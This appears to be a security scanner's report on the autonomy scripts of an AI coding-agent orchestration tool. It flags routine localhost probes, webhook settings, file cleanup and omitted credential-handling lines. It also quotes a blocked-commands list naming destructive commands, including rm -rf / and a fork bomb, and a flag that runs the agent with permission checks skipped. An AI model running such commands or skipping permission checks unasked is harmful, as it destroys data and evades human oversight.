| `LOKI_DISCORD_WEBHOOK` | Discord webhook URL | `https://discord.com/api/webhooks/...` | - Network accessline 33
| `LOKI_WEBHOOK_URL` | Custom webhook URL (POST JSON) | `https://your-server.com/loki-webhook` | - Access to secretsline 34
[Credential-related source omitted] - Network accessline 70
curl -s -X POST -H 'Content-type: application/json' \ - Network accessline 86
curl -s -X POST -H 'Content-type: application/json' \ - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Network accessline 108
curl -s --connect-timeout 5 --max-time 10 -X POST -H 'Content-type: application/json' \ - Dangerous shell operationline 200
rm -f "$loki_dir/PAUSE" - Network accessline 240
# Multi-channel notifications (new) slack_webhook: YOUR_SLACK_WEBHOOK_URL_HERE discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX - Network accessline 241
slack_webhook: YOUR_SLACK_WEBHOOK_URL_HERE discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX webhook_url: https://your-server.com/loki-webhook - Network accessline 242
discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX - Network accessline 243
webhook_url: https://your-server.com/loki-webhook - Network accessline 264
# Set up webhook (example with Slack) export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/..." - Network accessline 265
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/..."
autonomy/README.md
- Network accessline 70
| Prerequisite | Required | Notes | |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | - Network accessline 71
|--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | | Python 3 | Yes | For state management | - Network accessline 72
| Claude Code CLI | Yes | Install from https://claude.ai/code | - Network accessline 73
| Python 3 | Yes | For state management | | Git | Yes | For version control | | curl | Yes | For web fetches | - Network accessline 74
| Git | Yes | For version control | | curl | Yes | For web fetches | | Node.js | No | Needed for some builds | - Network accessline 75
| curl | Yes | For web fetches | - Instruction override signalline 162
| Feature | Manual Mode | Autonomy Mode | |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | - Instruction override signalline 163
|---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | | Prereq check | Manual | Automatic | - Instruction override signalline 164
| Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | - Network accessline 175
npm install -g @anthropic-ai/claude-code # or visit https://claude.ai/code - Network accessline 176
# or visit https://claude.ai/code
autonomy/acp-agent.py
autonomy/api-server.js
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 238
async function handleRequest(req, res) { const url = new URL(req.url, `http://localhost:${PORT}`); - Network accessline 239
const url = new URL(req.url, `http://localhost:${PORT}`); - Network accessline 531
server.listen(PORT, () => { console.log(`Loki Mode API v${getVersion()}`); console.log(`Listening on http://localhost:${PORT}`); - Network accessline 532
console.log(`Loki Mode API v${getVersion()}`); console.log(`Listening on http://localhost:${PORT}`); console.log(''); - Network accessline 533
console.log(`Listening on http://localhost:${PORT}`);
autonomy/app-runner.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 179
mv "$_fp_tmp" "$_APP_RUNNER_DIR/first-preview.json" 2>/dev/null || rm -f "$_fp_tmp" - Dangerous shell operationline 222
printf '%s\n' "$tok" > "$tmp_file" 2>/dev/null && mv "$tmp_file" "$_APP_RUNNER_DIR/app.token" 2>/dev/null || rm -f "$tmp_file" 2>/dev/null - Dangerous shell operationline 224
rm -f "$tmp_file" 2>/dev/null - Dangerous shell operationline 226
rm -f "$_APP_RUNNER_DIR/app.token" 2>/dev/null - Network accessline 398
if command -v curl >/dev/null 2>&1 && \ - Network accessline 399
curl -sf -o /dev/null -m 2 "http://localhost:${_APP_RUNNER_PORT}/" 2>/dev/null; then - Network accessline 447
# after the real serving URL; committing that would clobber a correct # recorded port and point the preview at a dead port. We deliberately do # NOT use curl -f: any HTTP response (including 404/401/500) proves a - Network accessline 448
# recorded port and point the preview at a dead port. We deliberately do # NOT use curl -f: any HTTP response (including 404/401/500) proves a # server is bound and serving on that port (Spring Boot whitelabel 404, - Network accessline 449
# NOT use curl -f: any HTTP response (including 404/401/500) proves a - Network accessline 450
# server is bound and serving on that port (Spring Boot whitelabel 404, # REST-only roots, and auth-gated "/" all return non-2xx but ARE live). # A dead/unbound port produces a connection error, which curl reports as - Network accessline 451
# REST-only roots, and auth-gated "/" all return non-2xx but ARE live). # A dead/unbound port produces a connection error, which curl reports as # a non-zero exit even without -f. If curl is unavailable we cannot - Network accessline 452
# A dead/unbound port produces a connection error, which curl reports as - Network accessline 453
# a non-zero exit even without -f. If curl is unavailable we cannot - Network accessline 456
if command -v curl >/dev/null 2>&1; then - Network accessline 457
if ! curl -s -o /dev/null -m 2 "http://localhost:${real_port}/" 2>/dev/null; then - Network accessline 462
log_info "App Runner: reconciled port $_APP_RUNNER_PORT -> $real_port (from app.log listen line)" _APP_RUNNER_PORT="$real_port" _APP_RUNNER_URL="http://localhost:${real_port}" - Network accessline 463
_APP_RUNNER_PORT="$real_port" _APP_RUNNER_URL="http://localhost:${real_port}" _rewrite_detection_port - Network accessline 464
_APP_RUNNER_URL="http://localhost:${real_port}" - Network accessline 477
# such as a DB connection string ("Connecting to database on port 5432") or an # outbound URL does not win. Note: a metrics endpoint line like # "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry - Network accessline 478
# outbound URL does not win. Note: a metrics endpoint line like # "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry # serving keywords ("server"/"listening") and so can still be returned here; the - Network accessline 479
# "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry - Network accessline 498
# 1) Explicit URL with a port: http://host:PORT (most reliable). - Network accessline 649
# well-known ports like 80/443/8080, because some unrelated local service # answering there is its own form of fabrication. # - Liveness uses the same contract as _app_runner_reconcile_port (curl -s - Network accessline 650
# answering there is its own form of fabrication. # - Liveness uses the same contract as _app_runner_reconcile_port (curl -s # -o /dev/null -m 2, no -f): any HTTP response (incl. 404/401/500) proves a - Network accessline 651
# - Liveness uses the same contract as _app_runner_reconcile_port (curl -s - Network accessline 654
# - curl-less hosts cannot verify, so we surface NOTHING (we never guess a URL # we could not probe). This is the conservative direction for this helper: # its whole job is "probe before surfacing", so no curl == no claim. - Network accessline 655
# we could not probe). This is the conservative direction for this helper: # its whole job is "probe before surfacing", so no curl == no claim. # Args: $1 = framework default port (may be empty). Reads $LOKI_APP_PORT and - Network accessline 656
# its whole job is "probe before surfacing", so no curl == no claim. - Network accessline 659
_probe_app_url() { local default_port="$1" command -v curl >/dev/null 2>&1 || return 0 - Network accessline 660
local default_port="$1" command -v curl >/dev/null 2>&1 || return 0 local cand seen=" " - Network accessline 661
command -v curl >/dev/null 2>&1 || return 0 - Network accessline 667
case "$seen" in *" $cand "*) continue ;; esac seen="$seen$cand " if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then - Network accessline 668
seen="$seen$cand " if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then printf 'http://localhost:%s\n' "$cand" - Network accessline 669
if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then - Network accessline 670
printf 'http://localhost:%s\n' "$cand" - Access to secretsline 727
[Credential-related source omitted] - Access to secretsline 728
[Credential-related source omitted] - Access to secretsline 730
[Credential-related source omitted] - Network accessline 794
_APP_RUNNER_METHOD="$LOKI_APP_COMMAND" _detect_port "$_APP_RUNNER_METHOD" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 795
_detect_port "$_APP_RUNNER_METHOD" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" log_info "App Runner: using override command: $_APP_RUNNER_METHOD" - Network accessline 796
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 809
_write_detection "docker-compose" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Docker Compose project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 810
log_info "App Runner: detected Docker Compose project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 811
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 833
_write_detection "dockerfile" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Dockerfile" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 834
log_info "App Runner: detected Dockerfile" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 835
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 854
_write_detection "nextjs-standalone" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Next.js standalone server" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 855
log_info "App Runner: detected Next.js standalone server" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 856
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 862
_write_detection "npm-dev" "$_APP_RUNNER_METHOD" log_info "App Runner: detected npm run dev" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 863
log_info "App Runner: detected npm run dev" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 864
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 869
_write_detection "npm-start" "$_APP_RUNNER_METHOD" log_info "App Runner: detected npm start" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 870
log_info "App Runner: detected npm start" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 871
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 887
_write_detection "makefile" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Makefile target '$target'" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 888
log_info "App Runner: detected Makefile target '$target'" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 889
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 899
_write_detection "django" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Django project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 900
log_info "App Runner: detected Django project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 901
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 918
_write_detection "python-app" "$_APP_RUNNER_METHOD" log_info "App Runner: detected app.py" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 919
log_info "App Runner: detected app.py" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 920
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 933
_write_detection "python-main" "$_APP_RUNNER_METHOD" log_info "App Runner: detected main.py" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 934
log_info "App Runner: detected main.py" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 935
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 943
_write_detection "cargo" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Cargo.toml" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 944
log_info "App Runner: detected Cargo.toml" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 945
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 953
_write_detection "go" "$_APP_RUNNER_METHOD" log_info "App Runner: detected Go project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 954
log_info "App Runner: detected Go project" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 955
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 981
_write_detection "static" "$_APP_RUNNER_METHOD" log_info "App Runner: detected static site (index.html) -> serving $static_root" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 982
log_info "App Runner: detected static site (index.html) -> serving $static_root" _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" return 0 - Network accessline 983
_APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}" - Network accessline 1154
# echoes the published host port of the web service, or nothing on any failure # (caller keeps the recorded port -- no regression). Never hard-fails. Docker's # own published mapping is authoritative, so no curl liveness guard is needed - Network accessline 1155
# (caller keeps the recorded port -- no regression). Never hard-fails. Docker's # own published mapping is authoritative, so no curl liveness guard is needed # here (unlike the non-docker _app_runner_reconcile_port path). - Network accessline 1156
# own published mapping is authoritative, so no curl liveness guard is needed - Access to secretsline 1174
[Credential-related source omitted] - Dangerous shell operationline 1262
# Conditional exec (HIGH-1 fix): only `exec` a SINGLE command. A compound - Dangerous shell operationline 1278
docker rm -f "$_APP_RUNNER_DOCKER_CONTAINER" >/dev/null 2>&1 || true - Dangerous shell operationline 1303
rm -f "$_pgid_file" - Network accessline 1337
# port from _detect_port is kept when no valid runtime port is found # (no regression). Docker's published mapping is authoritative, so no # curl liveness guard is needed (cf. _app_runner_reconcile_port). - Network accessline 1339
# curl liveness guard is needed (cf. _app_runner_reconcile_port). - Network accessline 1345
log_info "App Runner: reconciled compose port ${_APP_RUNNER_PORT:-?} -> $_rt_port (runtime published mapping for service $_APP_RUNNER_WEB_SERVICE)" _APP_RUNNER_PORT="$_rt_port" _APP_RUNNER_URL="http:/ - Network accessline 1346
_APP_RUNNER_PORT="$_rt_port" _APP_RUNNER_URL="http://localhost:${_rt_port}" fi - Network accessline 1347
_APP_RUNNER_URL="http://localhost:${_rt_port}" - Dangerous shell operationline 1423
docker rm "$_APP_RUNNER_DOCKER_CONTAINER" 2>/dev/null || true - Dangerous shell operationline 1516
rm -f "$_APP_RUNNER_DIR/app.pid" - Dangerous shell operationline 1517
rm -f "$_APP_RUNNER_DIR/app.token" - Network accessline 1667
# non-2xx on the root path (an API-only FastAPI/Express backend 404s on # `/`, anything behind auth 401s). Those are serving correctly, so a # status-strict probe (curl -f, which fails on >=400) would mark a healthy - Network accessline 1668
# `/`, anything behind auth 401s). Those are serving correctly, so a # status-strict probe (curl -f, which fails on >=400) would mark a healthy # backend unhealthy and trigger a needless restart -> a restart storm / - Network accessline 1669
# status-strict probe (curl -f, which fails on >=400) would mark a healthy - Network accessline 1675
# is alive; "000" is curl's sentinel for connect-failure/timeout/reset # and is the only thing we treat as a crash. # If curl is unavailable we cannot probe HTTP at all; fall back to the - Network accessline 1676
# and is the only thing we treat as a crash. # If curl is unavailable we cannot probe HTTP at all; fall back to the # old, more tolerant signal (PID alive == healthy) rather than declaring - Network accessline 1677
# If curl is unavailable we cannot probe HTTP at all; fall back to the - Network accessline 1678
# old, more tolerant signal (PID alive == healthy) rather than declaring # every HTTP app wedged and triggering a restart storm. curl is the only # HTTP client this function uses. - Network accessline 1679
# every HTTP app wedged and triggering a restart storm. curl is the only - Network accessline 1681
if ! command -v curl >/dev/null 2>&1; then - Network accessline 1686
# On connect-failure/timeout curl already prints "000" via %{http_code} - Network accessline 1692
local _http_code _http_code=$(curl -s -o /dev/null -m 5 -w '%{http_code}' \ - Network accessline 1693
_http_code=$(curl -s -o /dev/null -m 5 -w '%{http_code}' \ - Network accessline 1694
"http://localhost:${_APP_RUNNER_PORT}/" 2>/dev/null || true) - Dangerous shell operationline 1862
rm -f "$_APP_RUNNER_DIR/app.pid" - Dangerous shell operationline 1863
rm -f "$_APP_RUNNER_DIR/app.token" - Dangerous shell operationline 1882
rm -f "$_APP_RUNNER_DIR/app.pid" - Dangerous shell operationline 1883
rm -f "$_APP_RUNNER_DIR/app.token" - Dangerous shell operationline 1903
docker rm "$_APP_RUNNER_DOCKER_CONTAINER" 2>/dev/null || true - Dangerous shell operationline 1918
rm -f "$_APP_RUNNER_DIR/app.pid" - Dangerous shell operationline 1919
rm -f "$_APP_RUNNER_DIR/app.token"
autonomy/bmad-adapter.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/checklist-verify.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 376
expected_status = check.get("expected_status", 200) try: req = urllib.request.Request(target_url, method="GET") - Network accessline 377
try: req = urllib.request.Request(target_url, method="GET") resp = urllib.request.urlopen(req, timeout=min(timeout, 10)) - Network accessline 378
req = urllib.request.Request(target_url, method="GET") - Network accessline 379
resp = urllib.request.urlopen(req, timeout=min(timeout, 10))
autonomy/completion-council.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 428
[Credential-related source omitted] - Access to secretsline 429
[Credential-related source omitted] - Access to secretsline 430
[Credential-related source omitted] - Access to secretsline 431
[Credential-related source omitted] - Access to secretsline 432
[Credential-related source omitted] - Access to secretsline 433
[Credential-related source omitted] - Access to secretsline 504
[Credential-related source omitted] - Access to secretsline 538
[Credential-related source omitted] - Access to secretsline 539
[Credential-related source omitted] - Dangerous shell operationline 544
[Credential-related source omitted] - Access to secretsline 544
[Credential-related source omitted] - Dangerous shell operationline 547
[Credential-related source omitted] - Access to secretsline 547
[Credential-related source omitted] - Access to secretsline 591
[Credential-related source omitted] - Access to secretsline 592
[Credential-related source omitted] - Access to secretsline 593
[Credential-related source omitted] - Access to secretsline 594
[Credential-related source omitted] - Access to secretsline 595
[Credential-related source omitted] - Access to secretsline 596
[Credential-related source omitted] - Access to secretsline 600
[Credential-related source omitted] - Access to secretsline 877
[Credential-related source omitted] - Access to secretsline 878
[Credential-related source omitted] - Access to secretsline 879
[Credential-related source omitted] - Access to secretsline 970
[Credential-related source omitted] - Access to secretsline 976
[Credential-related source omitted] - Access to secretsline 977
[Credential-related source omitted] - Access to secretsline 978
[Credential-related source omitted] - Access to secretsline 979
[Credential-related source omitted] - Access to secretsline 980
[Credential-related source omitted] - Access to secretsline 1088
[Credential-related source omitted] - Access to secretsline 1092
[Credential-related source omitted] - Access to secretsline 1110
[Credential-related source omitted] - Access to secretsline 1135
[Credential-related source omitted] - Access to secretsline 1136
[Credential-related source omitted] - Access to secretsline 1139
[Credential-related source omitted] - Access to secretsline 1149
[Credential-related source omitted] - Access to secretsline 1168
[Credential-related source omitted] - Access to secretsline 1172
[Credential-related source omitted] - Access to secretsline 1173
[Credential-related source omitted] - Access to secretsline 1175
[Credential-related source omitted] - Access to secretsline 1177
[Credential-related source omitted] - Access to secretsline 1182
[Credential-related source omitted] - Access to secretsline 1185
[Credential-related source omitted] - Access to secretsline 1234
[Credential-related source omitted] - Access to secretsline 1235
[Credential-related source omitted] - Access to secretsline 1236
[Credential-related source omitted] - Access to secretsline 1263
[Credential-related source omitted] - Access to secretsline 1339
[Credential-related source omitted] - Dangerous shell operationline 1384
mv -f "$_tmp" "$_rf" 2>/dev/null || rm -f "$_tmp" 2>/dev/null - Access to secretsline 1430
[Credential-related source omitted] - Access to secretsline 1431
[Credential-related source omitted] - Access to secretsline 1432
[Credential-related source omitted] - Access to secretsline 1492
[Credential-related source omitted] - Access to secretsline 1498
[Credential-related source omitted] - Dangerous shell operationline 1517
rm -f "$COUNCIL_STATE_DIR/gate-block.json" - Access to secretsline 1550
[Credential-related source omitted] - Access to secretsline 1572
[Credential-related source omitted] - Access to secretsline 1575
[Credential-related source omitted] - Access to secretsline 1576
[Credential-related source omitted] - Access to secretsline 1577
[Credential-related source omitted] - Dangerous shell operationline 1655
rm -f "$COUNCIL_STATE_DIR/heldout-block.json" - Dangerous shell operationline 1675
rm -f "$COUNCIL_STATE_DIR/heldout-block.json" - Access to secretsline 1693
[Credential-related source omitted] - Access to secretsline 1695
[Credential-related source omitted] - Access to secretsline 1696
[Credential-related source omitted] - Access to secretsline 1698
[Credential-related source omitted] - Access to secretsline 1715
[Credential-related source omitted] - Dangerous shell operationline 1745
rm -f "$COUNCIL_STATE_DIR/heldout-block.json" - Dangerous shell operationline 1799
rm -rf "$scratch" 2>/dev/null; echo "unknown"; return 0 - Access to secretsline 1807
[Credential-related source omitted] - Access to secretsline 1808
[Credential-related source omitted] - Access to secretsline 1809
[Credential-related source omitted] - Access to secretsline 1810
[Credential-related source omitted] - Dangerous shell operationline 1828
( cd "$target" && git worktree remove --force "$wt" 2>/dev/null ); rm -rf "$scratch" 2>/dev/null - Dangerous shell operationline 1831
( cd "$wt" && eval "$timeout_bin 300 $test_cmd" >/dev/null 2>&1 ) - Dangerous shell operationline 1834
( cd "$target" && git worktree remove --force "$wt" 2>/dev/null ); rm -rf "$scratch" 2>/dev/null - Access to secretsline 1880
[Credential-related source omitted] - Access to secretsline 1885
[Credential-related source omitted] - Access to secretsline 1886
[Credential-related source omitted] - Access to secretsline 2021
[Credential-related source omitted] - Dangerous shell operationline 2209
mv "$inc_tmp" "$inconclusive_file" 2>/dev/null || rm -f "$inc_tmp" 2>/dev/null || true - Dangerous shell operationline 2218
rm -f "$inconclusive_file" - Dangerous shell operationline 2304
mv "$_det_tmp" "$_det_file" 2>/dev/null || rm -f "$_det_tmp" 2>/dev/null || true - Access to secretsline 2334
[Credential-related source omitted] - Access to secretsline 2335
[Credential-related source omitted] - Access to secretsline 2500
[Credential-related source omitted] - Access to secretsline 2512
[Credential-related source omitted] - Access to secretsline 2566
[Credential-related source omitted] - Access to secretsline 2567
[Credential-related source omitted] - Access to secretsline 2582
[Credential-related source omitted] - Access to secretsline 2647
[Credential-related source omitted] - Access to secretsline 2659
[Credential-related source omitted] - Dangerous shell operationline 2749
rm -f "$COUNCIL_STATE_DIR/evidence-block.json" - Access to secretsline 2913
[Credential-related source omitted] - Access to secretsline 2939
[Credential-related source omitted] - Access to secretsline 2940
[Credential-related source omitted] - Access to secretsline 2941
[Credential-related source omitted] - Access to secretsline 2942
[Credential-related source omitted] - Access to secretsline 2943
[Credential-related source omitted] - Dangerous shell operationline 3050
rm -f "$COUNCIL_STATE_DIR/assumption-block.json" - Dangerous shell operationline 3065
rm -f "$COUNCIL_STATE_DIR/assumption-block.json" - Dangerous shell operationline 3088
mv "$ab_tmp" "$ab_file" 2>/dev/null || rm -f "$ab_tmp" 2>/dev/null || true - Dangerous shell operationline 3233
rm -f "$_cv_pf" 2>/dev/null || true - Dangerous shell operationline 3436
rm -f "$_dv_pf" 2>/dev/null || true - Access to secretsline 3547
[Credential-related source omitted] - Access to secretsline 3728
[Credential-related source omitted] - Access to secretsline 3731
[Credential-related source omitted] - Access to secretsline 3734
[Credential-related source omitted] - Access to secretsline 3804
[Credential-related source omitted] - Access to secretsline 3950
[Credential-related source omitted] - Access to secretsline 3994
[Credential-related source omitted] - Access to secretsline 3996
[Credential-related source omitted] - Access to secretsline 3997
[Credential-related source omitted] - Access to secretsline 3998
[Credential-related source omitted] - Access to secretsline 3999
[Credential-related source omitted] - Access to secretsline 4000
[Credential-related source omitted] - Access to secretsline 4001
[Credential-related source omitted] - Access to secretsline 4003
[Credential-related source omitted] - Access to secretsline 4050
[Credential-related source omitted] - Access to secretsline 4053
[Credential-related source omitted] - Access to secretsline 4056
[Credential-related source omitted] - Access to secretsline 4076
[Credential-related source omitted] - Access to secretsline 4083
[Credential-related source omitted] - Access to secretsline 4084
[Credential-related source omitted] - Access to secretsline 4086
[Credential-related source omitted] - Access to secretsline 4095
[Credential-related source omitted] - Access to secretsline 4153
[Credential-related source omitted] - Access to secretsline 4155
[Credential-related source omitted] - Access to secretsline 4156
[Credential-related source omitted] - Access to secretsline 4157
[Credential-related source omitted] - Access to secretsline 4159
[Credential-related source omitted] - Access to secretsline 4254
[Credential-related source omitted] - Access to secretsline 4276
[Credential-related source omitted] - Access to secretsline 4284
[Credential-related source omitted] - Access to secretsline 4398
[Credential-related source omitted] - Access to secretsline 4409
[Credential-related source omitted] - Access to secretsline 4437
[Credential-related source omitted] - Access to secretsline 4461
[Credential-related source omitted] - Access to secretsline 4462
[Credential-related source omitted] - Access to secretsline 4463
[Credential-related source omitted] - Access to secretsline 4464
[Credential-related source omitted] - Access to secretsline 4501
[Credential-related source omitted] - Access to secretsline 4505
[Credential-related source omitted] - Access to secretsline 4543
[Credential-related source omitted] - Access to secretsline 4612
[Credential-related source omitted] - Access to secretsline 4617
[Credential-related source omitted] - Access to secretsline 4620
[Credential-related source omitted] - Access to secretsline 4647
[Credential-related source omitted] - Access to secretsline 4649
[Credential-related source omitted] - Access to secretsline 4652
[Credential-related source omitted] - Access to secretsline 4912
[Credential-related source omitted]
autonomy/config.example.yaml
- Dangerous shell operationline 54
blocked_commands: "rm -rf /,dd if=,mkfs,:(){ :|:& };:"
autonomy/context-tracker.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/council-v2.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 232
rm -rf "$da_dir" - Dangerous shell operationline 297
rm -rf "$dir" - Access to secretsline 387
[Credential-related source omitted] - Dangerous shell operationline 412
rm -f "$_c2_sdk_pf" 2>/dev/null || true - Access to secretsline 549
[Credential-related source omitted] - Access to secretsline 586
[Credential-related source omitted]
autonomy/crash.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/docker-run.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 12
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Dangerous shell operationline 276
# side effect: rm -f <project_dir>/.loki/docker/run.json (no error if absent) - Network accessline 303
if command -v lsof >/dev/null 2>&1; then ! lsof -i ":$port" >/dev/null 2>&1 elif command -v nc >/dev/null 2>&1; then - Network accessline 304
! lsof -i ":$port" >/dev/null 2>&1 elif command -v nc >/dev/null 2>&1; then ! nc -z 127.0.0.1 "$port" >/dev/null 2>&1 - Network accessline 305
elif command -v nc >/dev/null 2>&1; then - Network accessline 306
! nc -z 127.0.0.1 "$port" >/dev/null 2>&1 - Dangerous shell operationline 309
! (exec 3<>"/dev/tcp/127.0.0.1/${port}") >/dev/null 2>&1 - Network accessline 309
! (exec 3<>"/dev/tcp/127.0.0.1/${port}") >/dev/null 2>&1 - Dangerous shell operationline 424
} > "$tmp" || { rm -f "$tmp" 2>/dev/null; return 2; } - Dangerous shell operationline 426
mv -f "$tmp" "${dir}/run.json" || { rm -f "$tmp" 2>/dev/null; return 2; } - Dangerous shell operationline 433
rm -f "${project_dir}/.loki/docker/run.json" 2>/dev/null
autonomy/edit.sh
autonomy/grill.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 148
fi if ! command -v claude >/dev/null 2>&1; then _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" - Network accessline 149
if ! command -v claude >/dev/null 2>&1; then _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" return $GRILL_EXIT_ERROR - Network accessline 150
_grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" - Dangerous shell operationline 220
rm -f "$_gs_pf" 2>/dev/null || true - Network accessline 228
fi if ! command -v claude >/dev/null 2>&1; then _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" - Network accessline 229
if ! command -v claude >/dev/null 2>&1; then _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" return $GRILL_EXIT_ERROR - Network accessline 230
_grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code" - Instruction override signalline 245
_LOKI_PERM_ARGV=(--dangerously-skip-permissions)
autonomy/hooks/migration-hooks.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 197
if ! eval "$test_cmd" > "$test_result_file" 2>&1; then - Dangerous shell operationline 200
rm -f "$test_result_file" - Dangerous shell operationline 226
rm -f "$test_result_file" - Dangerous shell operationline 241
if ! eval "$test_cmd" >/dev/null 2>&1; then - Dangerous shell operationline 284
if ! eval "$test_cmd" >/dev/null 2>&1; then - Dangerous shell operationline 498
if ! rm -f "$snap.absent" 2>/dev/null; then - Dangerous shell operationline 513
if ! rm -f "$snap" 2>/dev/null; then - Dangerous shell operationline 559
if rm -f "$file_path" 2>/dev/null; then - Dangerous shell operationline 607
if ! eval "$test_cmd" > "$test_result_file" 2>&1; then - Dangerous shell operationline 610
rm -f "$test_result_file" - Dangerous shell operationline 651
rm -f "$test_result_file" - Access to secretsline 690
[Credential-related source omitted] - Access to secretsline 776
[Credential-related source omitted] - Dangerous shell operationline 791
out=$(cd "$codebase_path" && eval "$cmd" 2>"$errf") - Dangerous shell operationline 794
err=$(cat "$errf" 2>/dev/null); rm -f "$errf" - Access to secretsline 802
[Credential-related source omitted] - Access to secretsline 803
[Credential-related source omitted] - Access to secretsline 804
[Credential-related source omitted] - Access to secretsline 805
[Credential-related source omitted] - Access to secretsline 806
[Credential-related source omitted] - Access to secretsline 807
[Credential-related source omitted] - Access to secretsline 811
[Credential-related source omitted] - Access to secretsline 816
